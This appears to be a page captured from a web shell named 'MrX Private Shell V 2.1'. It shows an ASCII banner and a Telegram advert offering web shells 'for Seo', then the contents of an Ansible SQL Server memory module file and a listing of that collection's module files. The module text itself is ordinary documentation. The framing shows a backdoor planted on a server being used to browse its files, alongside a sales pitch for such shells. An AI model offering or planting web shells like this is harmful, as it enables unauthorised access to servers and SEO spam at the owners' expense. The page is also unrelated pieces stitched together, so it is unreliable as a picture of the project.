__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# (c) 2022, John McCall (@lowlydba)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
DOCUMENTATION = r'''
---
module: memory
short_description: Sets the maximum memory for a SQL Server instance
description:
- Sets the maximum memory for a SQL Server instance.
version_added: 0.1.0
options:
max:
description:
- The maximum memory in MB that the SQL Server instance can utilize. C(0) will automatically calculate the ideal value.
type: int
required: false
default: 0
author: "John McCall (@lowlydba)"
requirements:
- L(dbatools,https://www.powershellgallery.com/packages/dbatools/) PowerShell module
extends_documentation_fragment:
- lowlydba.sqlserver.sql_credentials
- lowlydba.sqlserver.attributes.check_mode
- lowlydba.sqlserver.attributes.platform_all
'''
EXAMPLES = r'''
- name: Automatically configure SQL max memory
lowlydba.sqlserver.memory:
sql_instance: sql-01.myco.io
- name: Manually configure SQL max memory
lowlydba.sqlserver.memory:
sql_instance: sql-01.myco.io
max: 10240
'''
RETURN = r'''
data:
description: Output from the C(Set-DbaMaxMemory) function.
returned: success, but not in check_mode.
type: dict
'''
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| ag_listener.ps1 | File | 3.12 KB | 0644 |
|
| ag_listener.py | File | 2.22 KB | 0644 |
|
| ag_replica.ps1 | File | 7.88 KB | 0644 |
|
| ag_replica.py | File | 4.71 KB | 0644 |
|
| agent_job.ps1 | File | 4.56 KB | 0644 |
|
| agent_job.py | File | 2.36 KB | 0644 |
|
| agent_job_category.ps1 | File | 2.17 KB | 0644 |
|
| agent_job_category.py | File | 1.29 KB | 0644 |
|
| agent_job_schedule.ps1 | File | 6.36 KB | 0644 |
|
| agent_job_schedule.py | File | 4.83 KB | 0644 |
|
| agent_job_step.ps1 | File | 6.3 KB | 0644 |
|
| agent_job_step.py | File | 3.34 KB | 0644 |
|
| availability_group.ps1 | File | 9.56 KB | 0644 |
|
| availability_group.py | File | 4.93 KB | 0644 |
|
| backup.ps1 | File | 5.73 KB | 0644 |
|
| backup.py | File | 5.75 KB | 0644 |
|
| credential.ps1 | File | 4.29 KB | 0644 |
|
| credential.py | File | 2.44 KB | 0644 |
|
| database.ps1 | File | 9.21 KB | 0644 |
|
| database.py | File | 2.55 KB | 0644 |
|
| dba_multitool.ps1 | File | 2.11 KB | 0644 |
|
| dba_multitool.py | File | 1.98 KB | 0644 |
|
| first_responder_kit.ps1 | File | 2.77 KB | 0644 |
|
| first_responder_kit.py | File | 2.74 KB | 0644 |
|
| hadr.ps1 | File | 2.39 KB | 0644 |
|
| hadr.py | File | 1.69 KB | 0644 |
|
| install_script.ps1 | File | 3.19 KB | 0644 |
|
| install_script.py | File | 3.27 KB | 0644 |
|
| instance_info.ps1 | File | 1.76 KB | 0644 |
|
| instance_info.py | File | 931 B | 0644 |
|
| login.ps1 | File | 5.35 KB | 0644 |
|
| login.py | File | 2.44 KB | 0644 |
|
| maintenance_solution.ps1 | File | 3.92 KB | 0644 |
|
| maintenance_solution.py | File | 3.24 KB | 0644 |
|
| memory.ps1 | File | 1.49 KB | 0644 |
|
| memory.py | File | 1.23 KB | 0644 |
|
| nonquery.ps1 | File | 1.49 KB | 0644 |
|
| nonquery.py | File | 1.26 KB | 0644 |
|
| resource_governor.ps1 | File | 2.15 KB | 0644 |
|
| resource_governor.py | File | 1.33 KB | 0644 |
|
| restore.ps1 | File | 7.63 KB | 0644 |
|
| restore.py | File | 7.29 KB | 0644 |
|
| rg_resource_pool.ps1 | File | 4.22 KB | 0644 |
|
| rg_resource_pool.py | File | 2.56 KB | 0644 |
|
| rg_workload_group.ps1 | File | 4.44 KB | 0644 |
|
| rg_workload_group.py | File | 2.96 KB | 0644 |
|
| sa.ps1 | File | 3.5 KB | 0644 |
|
| sa.py | File | 1.97 KB | 0644 |
|
| sp_configure.ps1 | File | 1.84 KB | 0644 |
|
| sp_configure.py | File | 1.4 KB | 0644 |
|
| sp_whoisactive.ps1 | File | 1.62 KB | 0644 |
|
| sp_whoisactive.py | File | 1.67 KB | 0644 |
|
| spn.ps1 | File | 2.66 KB | 0644 |
|
| spn.py | File | 1.87 KB | 0644 |
|
| tcp_port.ps1 | File | 2.35 KB | 0644 |
|
| tcp_port.py | File | 1.72 KB | 0644 |
|
| traceflag.ps1 | File | 2.11 KB | 0644 |
|
| traceflag.py | File | 1.53 KB | 0644 |
|
| user.ps1 | File | 4.76 KB | 0644 |
|
| user.py | File | 2 KB | 0644 |
|